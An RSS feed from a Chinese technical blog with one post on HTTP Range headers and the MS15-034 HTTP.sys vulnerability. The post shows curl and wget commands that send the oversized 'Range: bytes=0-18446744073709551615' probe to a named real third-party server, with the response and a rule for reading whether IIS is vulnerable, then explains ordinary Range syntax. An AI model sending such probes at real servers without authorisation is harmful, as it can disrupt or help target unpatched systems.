<?xml version="1.0" encoding="UTF-8" ?>
<rss version="2.0">
<channel>
<title><![CDATA[向东博客 专注WEB应用 构架之美 --- 构架之美，在于尽态极妍 | 应用之美，在于药到病除]]></title> 
<link>http://jackxiang.com/index.php</link> 
<description><![CDATA[赢在IT，Playin' with IT,Focus on Killer Application,Marketing Meets Technology.]]></description> 
<language>zh-cn</language> 
<copyright><![CDATA[向东博客 专注WEB应用 构架之美 --- 构架之美，在于尽态极妍 | 应用之美，在于药到病除]]></copyright>
<item>
<link>http://jackxiang.com/post//</link>
<title><![CDATA[[实践OK]HTTP中的Range: bytes=0-与HTTP.SYS 远程执行代码漏洞分析（MS15-034 ）]]></title> 
<author>jack &lt;xdy108@126.com&gt;</author>
<category><![CDATA[WEB2.0]]></category>
<pubDate>Tue, 05 May 2020 11:35:16 +0000</pubDate> 
<guid>http://jackxiang.com/post//</guid> 
<description>
<![CDATA[ 
	curl &quot;http://111.206.176.86/style/home.css&quot; -H &quot;Host:ishow.cctv.com&quot; -H &quot;Range:bytes=0-18446744073709551615&quot;<br/><br/>wget &quot;http://ishow.cctv.com/style/home.css&quot; -S --limit-rate=1M&nbsp;&nbsp; --debug --header=&quot;Range: bytes=0-18446744073709551615&quot;<br/>未编译调试支持，忽略 --debug。<br/>--2020-05-05 19:32:50--&nbsp;&nbsp;http://ishow.cctv.com/style/home.css<br/>正在解析主机 ishow.cctv.com (ishow.cctv.com)... 111.206.176.86<br/>正在连接 ishow.cctv.com (ishow.cctv.com)&#124;111.206.176.86&#124;:80... 已连接。<br/>已发出 HTTP 请求，正在等待回应...<br/>&nbsp;&nbsp;HTTP/1.1 200 OK<br/>&nbsp;&nbsp;Date: Tue, 05 May 2020 11:32:50 GMT<br/>&nbsp;&nbsp;Content-Type: text/css<br/>&nbsp;&nbsp;Content-Length: 3500<br/>&nbsp;&nbsp;Connection: keep-alive<br/>&nbsp;&nbsp;Expires: Tue, 05 May 2020 12:32:50 GMT<br/>&nbsp;&nbsp;Server: nginx<br/>&nbsp;&nbsp;Last-Modified: Thu, 23 Apr 2020 04:44:15 GMT<br/>&nbsp;&nbsp;ETag: &quot;5ea11d1f-dac&quot;<br/>&nbsp;&nbsp;Cache-Control: max-age=3600<br/>&nbsp;&nbsp;ip_network: 32.33<br/>&nbsp;&nbsp;Accept-Ranges: bytes<br/>&nbsp;&nbsp;X-Via: 1.1 dwt194:13 (Cdn Cache Server V2.0), 1.1 PS-PEK-01mW4204:7 (Cdn Cache Server V2.0)<br/>&nbsp;&nbsp;X-Ws-Request-Id: 5eb14ee2_t205_53295-12877<br/>长度：3500 (3.4K) [text/css]<br/>正在保存至: “home.css.1”<br/><br/>home.css.1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 100%[============================================================================================&gt;]&nbsp;&nbsp; 3.42K&nbsp;&nbsp;--.-KB/s&nbsp;&nbsp;用时 0s<br/><br/>2020-05-05 19:32:50 (159 MB/s) - 已保存 “home.css.1” [3500/3500])<br/><br/><br/>若IIS服务器返回“Requested Range Not Satisfiable”，则是存在漏洞，否则如果返回”The request has an invalid header name“，则说明漏洞已经修补。<br/><br/><br/>HTTP中的Range就是分段请求字节数，也是大家经常说的断点续传。Range头域可以请求实体的一个或者多个子范围，Range的值为0表示第一个字节，也就是Range计算字节数是从0开始的<br/><br/>表示第二个500字节：bytes=500-999<br/>表示最后500个字节：bytes=-500<br/>表示500字节以后的范围：bytes=500-<br/>第一个和最后一个字节：bytes=0-0,-1<br/>同时指定几个范围：bytes=500-600,601-999<br/>Range: bytes=0-<br/>Range: bytes=0-如果客服端请求RANGE: bytes=0-;直接透传RANGE: bytes=0-;直接拉取整个文件内容<br/><br/>Range: bytes=0-0 可以探测获取文件大小<br/>curl -r 0-0 -i -x ip地址:80 http://test.vaynedu4.com/test_file_19.mp3<br/><br/>curl Range:bytes=0-0<br/><br/>用wget请求的时候可以正常看http头部返回的信息 <br/>wget -S --limit-rate=1M -e http_proxy=http://ip地址 --header=&quot;Range: bytes=0-&quot; http://test.vaynedu4.com/test_file_19.mp3<br/><br/>wget Range:bytes=0-0<br/><br/>Range: bytes=0-999 ,利用curl下载1000个字节<br/><br/><br/>来自：https://zhuanlan.zhihu.com/p/112827648
]]>
</description>
</item><item>
<link>http://jackxiang.com/post//#blogcomment</link>
<title><![CDATA[[评论] [实践OK]HTTP中的Range: bytes=0-与HTTP.SYS 远程执行代码漏洞分析（MS15-034 ）]]></title> 
<author> &lt;user@domain.com&gt;</author>
<category><![CDATA[评论]]></category>
<pubDate>Thu, 01 Jan 1970 00:00:00 +0000</pubDate> 
<guid>http://jackxiang.com/post//#blogcomment</guid> 
<description>
<![CDATA[ 
	
]]>
</description>
</item>
</channel>
</rss>